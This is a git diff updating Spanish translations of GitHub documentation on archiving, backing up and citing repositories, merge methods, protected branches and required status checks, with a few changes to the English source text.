+Puedes buscar repositorios archivados. Para obtener más información, consulta "[Buscar repositorios](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." Para obtener más información, consulta "[Buscar repositorios](/articles/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)". Para obtener más información, consulta "[Buscar propuestas y solicitudes de extracción](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)".
 
-## Archiving a repository
+## Archivar un repositorio
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", click **Archive this repository** or **Unarchive this repository**.
-   ![Archive this repository button](/assets/images/help/repository/archive-repository.png)
-4. Read the warnings.
-5. Type the name of the repository you want to archive or unarchive.
-  ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png)
-6. Click **I understand the consequences, archive this repository**.
+3. En "Danger Zone" (Zona de peligro), haz clic en **Archive this repository** (Archivar este repositorio) o **Unarchive this repository** (Desarchivar este repositorio. este repositorio). ![Botón Archive this repository (Archivar este repositorio)](/assets/images/help/repository/archive-repository.png)
+4. Lee las advertencias.
+5. Escribe el nombre del repositorio que deseas archivar o desarchivar. ![Advertencias para archivar el repositorio](/assets/images/help/repository/archive-repository-warnings.png)
+6. Haz clic en **I understand the consequences, archive this repository** (Comprendo las consecuencias, archivar este repositorio).
diff --git a/translations/es-ES/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/translations/es-ES/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
index 433e593928..7aabb2b0c0 100644
--- a/translations/es-ES/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
+++ b/translations/es-ES/content/repositories/archiving-a-github-repository/backing-up-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Backing up a repository
-intro: 'You can use{% ifversion ghes or ghae %} Git and{% endif %} the API {% ifversion fpt or ghec %}or a third-party tool {% endif %}to back up your repository.'
+title: Realizar una copia de seguridad de un repositorio
+intro: 'Puedes usar Git {% ifversion ghes or ghae %} y {% endif %}la API{% ifversion fpt or ghec %}o una herramienta de terceros {% endif %}para realizar una copia de seguridad de tu repositorio.'
 redirect_from:
   - /articles/backing-up-a-repository
   - /github/creating-cloning-and-archiving-repositories/backing-up-a-repository
@@ -13,33 +13,34 @@ versions:
 topics:
   - Repositories
 ---
+
 {% ifversion fpt or ghec %}
 
-To download an archive of your repository, you can use the API for user or organization migrations. For more information, see "[Migrations](/rest/reference/migrations)."
+Para descargar un archivo en tu repositorio, puedes usar la API para migraciones del usuario o la organizacion. Para obtener más información, consulta la sección "[Migraciones](/rest/reference/migrations)".
 {% else %}
 
-You can download and back up your repositories manually:
+Puedes descargar y realizar una copia de seguridad de tus repositorios manualmente:
 
-- To download a repository's Git data to your local machine, you'll need to clone the repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
-- You can also download your repository's wiki. For more information, see "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)."
+- Para descargar los datos Git de un repositorio en tu máquina local, necesitarás clonar el repositorio. Para obtener más información, consulta "[Clonar un repositorio](/articles/cloning-a-repository)".
+- También puedes descargar las wiki de un repositorio. Para obtener más información, consulta "[Agregar o editar páginas wiki](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)".
 
-When you clone a repository or wiki, only Git data, such as project files and commit history, is downloaded. You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to your local machine:
+Cuando clonas un repositorio o wiki, solo se descargan los datos Git, como archivos de proyecto o historial de confirmaciones. Puedes utilizar nuestra API para exportar otros elementos de tu repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} tu máquina local:
 
-- [Issues](/rest/reference/issues#list-issues-for-a-repository)
-- [Pull requests](/rest/reference/pulls#list-pull-requests)
-- [Forks](/rest/reference/repos#list-forks)
-- [Comments](/rest/reference/issues#list-issue-comments-for-a-repository)
-- [Milestones](/rest/reference/issues#list-milestones)
-- [Labels](/rest/reference/issues#list-labels-for-a-repository)
-- [Watchers](/rest/reference/activity#list-watchers)
-- [Stargazers](/rest/reference/activity#list-stargazers)
-- [Projects](/rest/reference/projects#list-repository-projects)
+- [Problemas](/rest/reference/issues#list-issues-for-a-repository)
+- [Solicitudes de cambios](/rest/reference/pulls#list-pull-requests)
+- [Bifurcaciones](/rest/reference/repos#list-forks)
+- [Comentarios](/rest/reference/issues#list-issue-comments-for-a-repository)
+- [Hitos](/rest/reference/issues#list-milestones)
+- [Etiquetas](/rest/reference/issues#list-labels-for-a-repository)
+- [Observadores](/rest/reference/activity#list-watchers)
+- [Fans](/rest/reference/activity#list-stargazers)
+- [Proyectos](/rest/reference/projects#list-repository-projects)
 {% endif %}
 
-Once you have {% ifversion ghes or ghae %}a local version of all the content you want to back up, you can create a zip archive and {% else %}downloaded your archive, you can {% endif %}copy it to an external hard drive and/or upload it to a cloud-based backup or storage service such as [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/) or [Dropbox](https://www.dropbox.com/).
+Una vez que tengas {% ifversion ghes or ghae %}una versión local de todo el contenido que quieres respaldar, puedes crear un archivo zip y {% else %}descargado tu archivo, puedes{% endif %}copiarlo a un disco duro externo y/o cargarlo a un respaldo en la nuba o servicio de almacenamiento tal como[Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/) o [Dropbox](https://www.dropbox.com/).
 
 {% ifversion fpt or ghec %}
-## Third-party backup tools
+## Herramientas de copias de seguridad de terceros
 
-A number of self-service tools exist that automate backups of repositories. Unlike archival projects, which archive _all_ public repositories on {% data variables.product.product_name %} that have not opted out and make the data accessible to anyone, backup tools will download data from _specific_ repositories and organize it within a new branch or directory. For more information about archival projects, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." For more information about self-service backup tools, see the [Backup Utilities category on {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=backup-utilities).
+Existe un número de herramientas de autoservicio que automatizan las copias de seguridad de los repositorios. A diferencia de los proyectos de archivo, los cuales archivan _todos_ los repositorios públicos en {% data variables.product.product_name %} que no hayan optado por salir y que ponen todos los datos a disposición de cualquiera, las herramientas de respaldo descargarán los datos de repositorios _específicos_ y los organizarán en una nueva rama o directorio. Para obtener más información acerca de los proyectos de archivo, consulta la sección "[Acerca de archivar contenido y datos en {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)". Para obtener más información acerca de las herramientas de respaldo de autoservicio, consulta la [Categoría de utilidades de respaldo en {% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=backup-utilities).
 {% endif %}
diff --git a/translations/es-ES/content/repositories/archiving-a-github-repository/index.md b/translations/es-ES/content/repositories/archiving-a-github-repository/index.md
index 753b40a4bf..0aa714299b 100644
--- a/translations/es-ES/content/repositories/archiving-a-github-repository/index.md
+++ b/translations/es-ES/content/repositories/archiving-a-github-repository/index.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving a GitHub repository
-intro: 'You can archive, back up, and cite your work using {% data variables.product.product_name %}, the API, or third-party tools and services.'
+title: Archivar un repositorio de GitHub
+intro: 'Puedes archivar, respaldar y mencionar tu trabajo mediante {% data variables.product.product_name %}, la API o herramientas y servicios de terceros.'
 redirect_from:
   - /articles/can-i-archive-a-repository
   - /articles/archiving-a-github-repository
@@ -18,6 +18,6 @@ children:
   - /about-archiving-content-and-data-on-github
   - /referencing-and-citing-content
   - /backing-up-a-repository
-shortTitle: Archive a repository
+shortTitle: Archivar un repositorio
 ---
 
diff --git a/translations/es-ES/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md b/translations/es-ES/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
index 2e52835c43..373d05dcc5 100644
--- a/translations/es-ES/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
+++ b/translations/es-ES/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md
@@ -1,6 +1,6 @@
 ---
-title: Referencing and citing content
-intro: You can use third-party tools to cite and reference content on GitHub.
+title: Referenciar y citar contenido
+intro: Puedes utilizar herramientas de terceros para citar y referenciar contenido en GitHub.
 redirect_from:
   - /articles/referencing-and-citing-content
   - /github/creating-cloning-and-archiving-repositories/referencing-and-citing-content
@@ -10,30 +10,31 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Reference & cite content
+shortTitle: Referenciar & citar contenido
 ---
-## Issuing a persistent identifier for your repository with Zenodo
 
-To make your repositories easier to reference in academic literature, you can create persistent identifiers, also known as Digital Object Identifiers (DOIs). You can use the data archiving tool [Zenodo](https://zenodo.org/about) to archive a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} and issue a DOI for the archive.
+## Emitir un identificador persistente para tu repositorio con Zenodo
+
+Para hacer que sea más sencillo referenciar tus repositorios en la literatura académica, puedes crear identificadores persistentes, también conocidos como Identificadores de Objetos Digitales (DOI). Puedes utilizar la herramienta de archivado de datos [Zenodo](https://zenodo.org/about) para archivar un repositorio en {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} y emitir un DOI para el archivo.
 
 {% tip %}
 
 **Tips:**
-- Zenodo can only access public repositories, so make sure the repository you want to archive is [public](/articles/making-a-private-repository-public).
-- If you want to archive a repository that belongs to an organization, the organization owner may need to [approve access](/articles/approving-oauth-apps-for-your-organization) for the Zenodo application.
-- Make sure to include a [license](/articles/open-source-licensing) in your repository so readers know how they can reuse your work.
+- Zenodo puede acceder solo a repositorios públicos, así que asegúrate de que el repositorio que quieres archivar sea [público](/articles/making-a-private-repository-public).
+- Si quieres archivar un repositorio que le pertenece a una organización, puede que el propietario de la organización deba [aprobar el acceso](/articles/approving-oauth-apps-for-your-organization) para la aplicación Zenodo.
+- Asegúrate de incluir una [licencia](/articles/open-source-licensing) en tu repositorio para que los lectores sepan cómo pueden reutilizar tu trabajo.
 
 {% endtip %}
 
-1. Navigate to [Zenodo](http://zenodo.org/).
-2. In the upper-left corner of the screen, click **Log in**. ![Zenodo log in button](/assets/images/help/repository/zenodo_login.png)
-3. Click **Log in with GitHub**. ![Log into Zenodo with GitHub](/assets/images/help/repository/zenodo_login_with_github.png)
-4. Review the information about access permissions, then click **Authorize application**. ![Authorize Zenodo](/assets/images/help/repository/zenodo_authorize.png)
-5. Navigate to the [Zenodo GitHub page](https://zenodo.org/account/settings/github/). ![Zenodo GitHub page](/assets/images/help/repository/zenodo_github_page.png)
-6. To the right of the name of the repository you want to archive, toggle the button from **Off** to **On** to enable it for archiving. ![Enable Zenodo archiving on repository](/assets/images/help/repository/zenodo_toggle_on.png)
+1. Navega hasta [Zenodo](http://zenodo.org/).
+2. En la esquina superior izquierda de la pantalla, haz clic en **Log in** (Registrarse). ![Botón Zenodo log in (Registrarse en Zenodo)](/assets/images/help/repository/zenodo_login.png)
+3. Haz clic en **Log in with GitHub** (Registrarse con GitHub). ![Registrarse en Zenodo con GitHub](/assets/images/help/repository/zenodo_login_with_github.png)
+4. Revisa la información acerca de los permisos de acceso, luego haz clic en **Authorize application** (Autorizar aplicación). ![Autorizar Zenodo](/assets/images/help/repository/zenodo_authorize.png)
+5. Navega hasta la [Página de GitHub de Zenodo](https://zenodo.org/account/settings/github/). ![Página de GitHub de Zenodo](/assets/images/help/repository/zenodo_github_page.png)
+6. A la derecha del nombre del repositorio que quieras archivar, cambia el botón de **Off** (Apagado) a **On** (Encendido) para habilitarlo para el archivo. ![Habilitar que Zenodo archive en el repositorio](/assets/images/help/repository/zenodo_toggle_on.png)
 
-Zenodo archives your repository and issues a new DOI each time you create a new {% data variables.product.product_name %} [release](/articles/about-releases/). Follow the steps at "[Creating releases](/articles/creating-releases/)" to create a new one.
+Zenodo archiva tu repositorio y emite un DOI nuevo cada vez que creas un {% data variables.product.product_name %} [lanzamiento](/articles/about-releases/) nuevo. Sigue los pasos en "[Creating releases](/articles/creating-releases/)" (Crear lanzamientos) para crear uno nuevo.
 
-## Publicizing and citing research material with Figshare
+## Publicitar y citar material de investigación con Figshare
 
-Academics can use the data management service [Figshare](http://figshare.com) to publicize and cite research material. For more information, see [Figshare's support site](https://knowledge.figshare.com/articles/item/how-to-connect-figshare-with-your-github-account).
+Los académicos pueden utilizar el servicio de gestión de datos [Figshare](http://figshare.com) para publicitar y citar el material de investigación. Para obtener más información, consulta el [Sitio de asistencia de Figshare](https://knowledge.figshare.com/articles/item/how-to-connect-figshare-with-your-github-account).
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
index ce2d25bd63..2ee7ad779e 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About merge methods on GitHub
-intro: 'You can allow contributors with push access to your repository to merge their pull requests on {% data variables.product.product_location %} with different merge options or enforce a specific merge method for all of your repository''s pull requests.'
+title: Acerca de los métodos de fusión en GitHub
+intro: 'Puedes permitirle a los colaboradores con acceso de escritura a tu repositorio fusionar sus solicitudes de extracción en {% data variables.product.product_location %} con diferentes opciones de fusión o implementar un método de fusión específico para todas las solicitudes de extracción de tu repositorio.'
 redirect_from:
   - /articles/about-merge-methods-on-github
   - /github/administering-a-repository/about-merge-methods-on-github
@@ -12,14 +12,15 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: About merge methods
+shortTitle: Acerca de los métodos de fusión
 ---
-{% data reusables.pull_requests.configure_pull_request_merges_intro %} You can enforce one type of merge method, such as commit squashing or rebasing, by only enabling the desired method for your repository.
+
+{% data reusables.pull_requests.configure_pull_request_merges_intro %} Puedes implementar un tipo de método de fusión, como el cambio de base o la combinación de confirmaciones, con solo activar el método deseado para tu repositorio.
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** When using the merge queue, you no longer get to choose the merge method, as this is controlled by the queue. {% data reusables.pull_requests.merge-queue-references %}
+**Nota:** Cuando utilices la cola de fusión, ya no podrás elegir el método de fusión, ya que a este lo controla la cola. {% data reusables.pull_requests.merge-queue-references %}
 
 {% endnote %}
 {% endif %}
@@ -27,24 +28,24 @@ shortTitle: About merge methods
 {% data reusables.pull_requests.default_merge_option %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
-The default merge method creates a merge commit. You can prevent anyone from pushing merge commits to a protected branch by enforcing a linear commit history. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-linear-history)."{% endif %}
+El método de fusión predeterminado crea una confirmación de fusión. Puedes impedir que cualquiera suba confirmaciones de fusión en una rama protegida imponiendo un historiar de confirmaciones linear. Para obtener más información, consulta la sección "[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches#require-linear-history)".{% endif %}
 
-## Squashing your merge commits
+## Combinar tus confirmaciones de fusión
 
 {% data reusables.pull_requests.squash_and_merge_summary %}
 
-Before enabling squashing commits, consider these disadvantages:
-- You lose information about when specific changes were originally made and who authored the squashed commits.
-- If you continue working on the head branch of a pull request after squashing and merging, and then create a new pull request between the same branches, commits that you previously squashed and merged will be listed in the new pull request. You may also have conflicts that you have to repeatedly resolve in each successive pull request. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squashing-and-merging-a-long-running-branch)."
-- Some Git commands that use the "SHA" or "hash" ID may be harder to use since the SHA ID for the original commits is lost. For example, using [`git rerere`](https://git-scm.com/docs/git-rerere) may not be as effective.
+Antes de activar combinar confirmaciones, considera estas desventajas:
+- Se pierde información acerca de cuándo se hicieron originalmente los cambios específicos y quién es el autor de las confirmaciones combinadas.
+- Si sigues trabajando en la rama principal de una solicitud de extracción después de combinar y fusionar, y luego creas una solicitud de extracción nueva entre las mismas ramas, las confirmaciones que ya hayas combinado y fusionado se listarán en la solicitud de extracción nueva. También podrías tener conflictos que tienes que resolver constantemente en cada solicitud de extracción sucesiva. Para obtener más información, consulta "[Acerca de las fusiones de las solicitudes de extracción](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squashing-and-merging-a-long-running-branch)".
+- Es posible que sea más difícil usar algunos comandos de Git que usan el ID "SHA" o "hash", ya que se pierde el ID SHA para las confirmaciones originales. Por ejemplo, es posible que no sea tan efectivo usar [`git rerere`](https://git-scm.com/docs/git-rerere).
 
-For more information, see "[Configuring commit squashing for pull requests](/articles/configuring-commit-squashing-for-pull-requests)."
+Para obtener más información, consulta "[Configurar la combinación de confirmaciones para las solicitudes de extracción](/articles/configuring-commit-squashing-for-pull-requests)".
 
-## Rebasing and merging your commits
+## Cambiar de base y fusionar tus confirmaciones
 
 {% data reusables.pull_requests.rebase_and_merge_summary %}
 
-Before enabling commit rebasing, consider these disadvantages:
-- Repository contributors may have to rebase on the command line, resolve any conflicts, and force push their changes to the pull request's topic branch (or remote head branch) before they can use the **rebase and merge** option on {% data variables.product.product_location %}. Force pushing must be done carefully so contributors don't overwrite work that others have based their work on. To learn more about when the **Rebase and merge** option is disabled on {% data variables.product.product_location %} and the workflow to re-enable it, see "[About pull request merges](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits)."
+Antes de activar cambiar de base las confirmaciones, considera estas desventajas:
+- Es posible que los colaboradores del repositorio tengan que cambiar de base en la línea de comandos, resolver cualquier conflicto y realizar un empuje forzado de sus cambios a la rama de tema de la solicitud de extracción (o rama de encabezado remota) antes de poder usar la opción **cambiar de base y fusionar** en {% data variables.product.product_location %}. El empuje forzado se debe realizar cuidadosamente para que los colaboradores no sobreescriban un trabajo en el que otros se hayan basado. Para conocer más sobre cuando la opción **Cambiar de base y fusionar** está desactivada en {% data variables.product.product_location %} y el flujo de trabajo para volver a activarlo, consulta "[Acerca de las fusiones de solicitudes de extracción](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits)".
 
-For more information, see "[Configuring commit rebasing for pull requests](/articles/configuring-commit-rebasing-for-pull-requests)."
+Para obtener más información, consulta [Configurar el cambio de base de las solicitudes de extracción](/articles/configuring-commit-rebasing-for-pull-requests)".
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
index 2d760fe6f2..08f567b7b3 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md
@@ -87,7 +87,7 @@ Before you can enable required status checks, you must configure the repository
 
 After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch.
 
-Any person or integration with write permissions to a repository can set the state of any status check in the repository, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates. If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
+Any person or integration with write permissions to a repository can set the state of any status check in the repository{% ifversion fpt or ghes > 3.3 or ghae-issue-5379 or ghec %}, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates.{% endif %} If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box.
 
 You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging.
 
@@ -153,13 +153,23 @@ By default, protected branch rules do not apply to people with admin permissions
 You can enable branch restrictions if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %}.
 {% endif %}
 
-When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings.
+When you enable branch restrictions, only users, teams, or apps that have been given permission can push to the protected branch. You can view and edit the users, teams, or apps with push access to a protected branch in the protected branch's settings. When status checks are required, the people, teams, and apps that have permission to push to a protected branch will still be prevented from merging if the required checks fail. People, teams, and apps that have permission to push to a protected branch will still need to create a pull request when pull requests are required.
 
 You can only give push access to a protected branch to users, teams, or installed {% data variables.product.prodname_github_apps %} with write access to a repository. People and apps with admin permissions to a repository are always able to push to a protected branch.
 
 ### Allow force pushes
 
+{% ifversion fpt or ghec %}
+By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, you can choose one of two groups who can force push:
+
+1. Allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
+1. Allow only specific people or teams to force push to the branch.
+
+If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+
+{% else %}
 By default, {% data variables.product.product_name %} blocks force pushes on all protected branches. When you enable force pushes to a protected branch, anyone with at least write permissions to the repository can force push to the branch, including those with admin permissions. If someone force pushes to a branch, the force push may overwrite commits that other collaborators based their work on. People may have merge conflicts or corrupted pull requests.
+{% endif %}
 
 Enabling force pushes will not override any other branch protection rules. For example, if a branch requires a linear commit history, you cannot force push merge commits to that branch.
 
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
index fbef6893f4..4cea9d705b 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Defining the mergeability of pull requests
-intro: 'You can require pull requests to pass a set of checks before they can be merged. For example, you can block pull requests that don''t pass status checks or require that pull requests have a specific number of approving reviews before they can be merged.'
+title: Definir la capacidad de fusión de las solicitudes de extracción
+intro: 'Puedes requerir que las solicitudes de extracción superen un conjunto de verificaciones antes de que se las pueda fusionar. Por ejemplo, puedes bloquear las solicitudes de extracción que no superan las verificaciones de estado o puedes requerir que las solicitudes de extracción tengan un número específico de revisiones aprobadas antes de que las pueda fusionar.'
 redirect_from:
   - /articles/defining-the-mergeability-of-a-pull-request
   - /articles/defining-the-mergeability-of-pull-requests
@@ -18,6 +18,6 @@ children:
   - /about-protected-branches
   - /managing-a-branch-protection-rule
   - /troubleshooting-required-status-checks
-shortTitle: Mergeability of PRs
+shortTitle: Capacidad de fusión de las solicitudes de cambios
 ---
 
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
index fe9eb1dd68..e8587b7306 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md
@@ -97,15 +97,23 @@ When you create a branch rule, the branch you specify doesn't have to exist yet
 
   {% endtip %}
 {%- endif %}
-1. Optionally, select **Include administrators**.
-![Include administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
+1. Optionally, select **Apply the rules above to administrators**.
+![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png)
 1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions.
    - Select **Restrict who can push to matching branches**.
      ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png)
    - Search for and select the people, teams, or apps who will have permission to push to the protected branch.
      ![Branch restriction search](/assets/images/help/repository/restrict-branch-search.png)
-2. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**. For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
+1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**.
   ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png)
+{% ifversion fpt or ghec %}
+  Then, choose who can force push to the branch.
+    - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
+    - Select **Specify who can force push** to allow only specific people or teams to force push to the branch. Then, search for and select those people or teams.
+      ![Screenshot of the options to specify who can force push](/assets/images/help/repository/allow-force-pushes-specify-who.png)
+{% endif %}
+
+    For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
 1. Optionally, select **Allow deletions**.
   ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png)
 1. Click **Create**.
diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
index fd64a80a81..f957feff04 100644
--- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
+++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting required status checks
-intro: You can check for common errors and resolve issues with required status checks.
+title: Solución de problemas para verificaciones de estado requeridas
+intro: Puedes verificar si hay errores comunes y resolver problemas con las verificaciones de estado requeridas.
 product: '{% data reusables.gated-features.protected-branches %}'
 versions:
   fpt: '*'
@@ -12,19 +12,20 @@ topics:
 redirect_from:
   - /github/administering-a-repository/troubleshooting-required-status-checks
   - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks
-shortTitle: Required status checks
+shortTitle: Verificaciones de estado requeridas
 ---
-If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)."
 
-After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+Si tienes una verificación y un estado con el mismo nombre y seleccionas dicho nombre como una verificación de estado requerida, tanto la verificación como el estado se requerirán. Para obtener más información, consulta las "[Verificaciones](/rest/reference/checks)".
+
+Después de que habilitas la verificación de estado requerida, tu rama podría tener que actualizarse con la rama base antes de que se pueda fusionar. Esto garantiza que tu rama ha sido probada con el último código desde la rama base. Si tu rama no está actualizada, necesitarás fusionar la rama base en tu rama. Para obtener más información, consulta"[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)".
 
 {% note %}
 
-**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)."
+**Nota:** También puedes actualizar tu rama con la rama base utilizando Git rebase. Para obtener más información, consulta [Accerca del rebase de Git](/github/getting-started-with-github/about-git-rebase)."
 
 {% endnote %}
 
-You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following.
+No podrás subir cambios locales a una rama protegida hasta que se hayan aprobado todas las verificaciones de estado requeridas. En su lugar, recibirás un mensaje de error similar al siguiente.
 
 ```shell
 remote: error: GH006: Protected branch update failed for refs/heads/main.
@@ -32,28 +33,28 @@ remote: error: Required status check "ci-build" is failing
 ```
 {% note %}
 
-**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself.
+**Nota:** Las solicitudes de extracción que están actualizadas y aprobaron las verificaciones de estado requeridas pueden fusionarse localmente y subirse a la rama protegida. Esto se puede hacer sin las verificaciones de estado ejecutándose en la propia confirmación de fusión.
 
 {% endnote %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 
-## Conflicts between head commit and test merge commit 
+## Conflictos entre confirmaciones de encabezado y confirmaciones de fusiones de prueba
 
-Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)."
+Algunas veces, los resultados de las verificaciones de estado para la confirmación de la prueba de fusión y de la confirmación principal entrarán en conflicto. Si la confirmación de fusión de prueba tiene un estado, ésta pasará. De otra manera, el estado de la confirmación principal deberá pasar antes de que puedas fusionar la rama. Para obtener más información sobre las confirmaciones de fusiones de prueba, consulta la sección "[Extracciones](/rest/reference/pulls#get-a-pull-request)".
 
